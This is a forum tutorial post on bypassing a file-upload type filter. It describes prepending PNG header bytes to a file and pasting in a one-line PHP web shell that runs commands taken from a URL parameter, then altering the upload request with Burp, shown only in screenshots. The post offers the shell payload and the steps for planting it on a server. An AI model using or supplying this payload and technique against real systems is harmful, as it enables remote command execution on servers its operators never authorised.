Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Tutorial File Upload Filter Bypass filter_list
Author
Message
File Upload Filter Bypass #1
Scenario you have a place to upload files that you can access, but there is a filter making sure that the
file type matches the ones expected (e.g. only image file types)

PNG Image Header
89 50 4E 47

Open a hex editor and create a new file, copy those bytes over to the beginning of the new file. Into the
TEXT area (on the right, not the bytes area where you just pasted the header above) paste your shell

<?php system($_GET['c']);?>

It should look like this

[Image: Screenshot-2024-05-30-at-20-11-09-File-U...ss-pdf.png]

Take note of the length

[Image: Screenshot-2024-05-30-at-20-12-59-File-U...ss-pdf.png]

Next start burp and navigate to the upload directory.

Then do the following

1. Turn on interceptor

2. Send an upload request with any file

3. Modify the request

Original

[Image: Screenshot-2024-05-30-at-20-14-44-File-U...ss-pdf.png]

Modified

[Image: Screenshot-2024-05-30-at-20-15-43-File-U...ss-pdf.png]

Then forward the request and disable interceptor.

Reply







Users browsing this thread: 1 Guest(s)